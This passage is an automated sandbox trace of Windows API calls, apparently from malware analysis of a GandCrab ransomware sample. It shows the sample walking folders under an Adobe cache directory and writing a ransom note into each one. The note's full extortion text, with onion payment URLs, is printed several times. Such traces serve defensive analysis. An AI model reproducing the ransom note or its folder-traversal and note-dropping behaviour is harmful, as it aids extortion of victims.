Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\") returned 70 [0169.802] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\*" [0169.802] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5a4918 [0169.803] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.803] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.803] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.803] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.803] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.803] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.803] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.803] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat" [0169.803] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\" [0169.803] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.803] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.803] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 78 [0169.803] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0169.803] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a49d8 [0169.804] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.804] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.804] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.804] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.804] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.804] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.804] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.804] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0169.804] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 83 [0169.804] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.804] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0169.804] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0169.804] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0169.804] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 84 [0169.804] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.804] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.804] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.804] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 95 [0169.804] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0169.805] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.805] WriteFile (in: hFile=0x4e8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0169.806] CloseHandle (hObject=0x4e8) returned 1 [0169.806] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.806] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 78 [0169.806] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0169.807] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4e58 [0169.807] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.807] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.807] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.807] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.807] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.807] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.807] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.807] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0169.807] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\" [0169.807] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.807] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.807] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.807] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.807] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.807] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.807] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 84 [0169.807] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0169.807] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a49d8 [0169.808] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.808] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.808] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.808] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.808] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.808] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.808] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.808] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0169.808] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 89 [0169.808] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.808] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0169.808] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0169.808] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0169.808] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 97 [0169.808] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.809] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.809] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.809] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 101 [0169.809] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0169.810] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.810] WriteFile (in: hFile=0x4f4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0169.811] CloseHandle (hObject=0x4f4) returned 1 [0169.811] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.811] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 84 [0169.811] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0169.811] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a49d8 [0169.811] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.811] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.811] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.811] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.811] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.811] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.811] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.811] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0169.811] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\" [0169.811] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.812] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.812] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 90 [0169.812] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0169.812] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4d18 [0169.812] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.812] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.812] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.812] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.812] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.812] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0169.812] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0169.812] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0169.812] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 96 [0169.812] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.812] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0169.812] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0169.812] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0169.812] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 96 [0169.813] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.813] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0169.813] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0169.813] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0169.813] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 96 [0169.813] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.813] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0169.813] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0169.813] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0169.813] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 96 [0169.813] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.813] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0169.813] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0169.813] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0169.813] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 95 [0169.813] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0169.813] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.813] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.813] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 107 [0169.813] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0169.815] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is 